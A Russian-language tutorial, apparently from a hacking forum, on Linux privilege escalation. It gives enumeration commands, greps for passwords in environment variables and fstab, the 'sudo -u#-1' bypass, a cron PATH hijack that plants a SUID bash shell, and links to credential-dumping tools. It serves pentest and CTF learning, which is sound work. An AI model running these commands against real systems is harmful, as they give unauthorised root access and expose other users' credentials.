Повышение привилегий в ОС Linux, ч.2
E7|E1tex
Всем привет, как и обещал приступаем ко второй части статьи по повышению привилегий в ОС Линукс, разбирать что это такое и какие типы бывают уже не будем(см. в первой части), приступаем!
OS Info
Начнем со сбора информации по ОС. Тут нам помогут следующие команды:
- (cat /proc/version || uname -a ) 2>/dev/null
- lsb_release -a 2>/dev/null # old, not by default on many systems
- cat /etc/os-release 2>/dev/null # universal on modern systems
Еще немного интересных данных, таких как пароли/апи ключи итд, могут лежать в переменных окружения:
(env || set) 2>/dev/null
Kernel
Не забываем про Kernel, о котором уже говорили в прошлой части статьи, многие версии уязвимы для повышения привилегий. Так что находим версию и ищем эксплоиты(Залетаем с двух ног в searchsploit с запросом Linux Kernel):
cat /proc/version
Гит репа с собранными эксплоитами под разного рода задачи(https://github.com/lucyoa/kernel-exploits)
Так же сразу после поста дропну скрипты, которые покажут, к каким эксплоитам уязвима машина.
Грязная корова(DirtyCow)
CVE-2016-5195
Уязвимость была обнаружена в обработке подсистемой памятью ядра нарушения копирования при записи(copy-on-write, COW). Непривилегированный локальный юзер может использовать эту уязвимость, чтобы получить доступ на запись к сопоставлениям памяти, которые обычно доступны только для чтения, и, таким образом, повысить свои привилегии в системе.

Версия Sudo
Многие версие Sudo уязвимы, так что опять же ищем нашу версию в searchsploit.
Чекнуть уязвима ли версия можно с помощью команды:
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.28
Политика sudoers разрешает использование uid, которых нет в базе данных паролей, пока не установлена опция targetpw.
sudo -u#-1 /bin/bash
Ошибка проверки подписи Dmesg
Чтобы понять как работает вулна и как ее можно эксплуатировать, пройдите smasher2 на hackthebox
dmesg 2>/dev/null | grep "signature"
Диски
Чекайте, что можно смонтировать, если такое разрешение для диска есть, возможно нам удастся смонтировать полезную информацию.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Полезный софт
Команда для перечисления полезных бинарников:
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Так же если вы собираетесь закидывать какие-либо эксплоиты для эксплуатации на целевой машине, с помощью следующей команды вы можете посмотреть какие компиляторы установлены:
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Уязвимый софт
Мы можем сами искать установленый софт, выборочно смотря версии каждого установленного пакета или сервиса:
dpkg -l #Debian
rpm -qa #Centos
Но намного эффективнее использовать openVAS, если у вас есть доступ на подключение к целевой машине по SSH.
ProcDump
Сдампить инфу о процессах могут позволить следующие утилиты:
https://github.com/Sysinternals/ProcDump-for-Linux
https://github.com/hajzer/bash-memory-dump
https://www.delaat.net/rp/2016-2017/p97/report.pdf(скрипт A.5)
Последние два скрипта запускаются от рута, но в скрипте от hajzer мы можем самостоятельно удалить требование на использование скрипта от рут юзера и использовать и дампить инфу о процессах, которыми мы обладаем.
Смотрим креды в памяти процесса
Если вы например нашли запущенный процесс аутентификации, вы можете легко достать оттуда креды для других юзеров системы используя инструменты данные выше.
Вот два инструмента, которые помогут вытянуть данные авторизации, один- из памяти процессов, другой - из разных общеизвестных папок, где эти креды могут лежать:
1. https://github.com/huntergregal/mimipenguin
2. https://github.com/controlplaneio/truffleproc
Запланированные/CRON задачи
В прошлой части статьи уже рассматривалась эксплуатация задач CRON, сейчас давайте чуть углубимся.
Смотрим запланированные задачи:
- crontab -l
- ls -al /etc/cron* /etc/at*
- cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Ручками проверяем какие из них уязвимы.
CRON Path
К примеру, вы можете найти в /etc/crontab путь: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Если в кронтабе рут юзер пытается запускать команды или скрипты без настроенного пути(например * * * * root overwrite.sh), вы можете получить рут шелл, используя команду:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Wildcard Injection
Если скрипт, запускаемый от рута имеет * в именах запускаемых скриптом файлов, мы можем создать свой скрипт файл, который запустится от имени рута. Wildcard Injection имеет множество способов реализации, советую подробнее изучить этот вопрос(Потому что пока подобных статей не планируется, нам предстоит разобрать еще больше фитч по повышению привилегий)
На этом вторая часть по повышению привилегий в ОС Linux подходит к концу. Ждемс третью часть, а скорость написания мной следующей части статьи по-прежнему в ваших руках))0))0)
Дерзайте, реакции/комменты итд, буду признателен.
Увидимся в следущей части!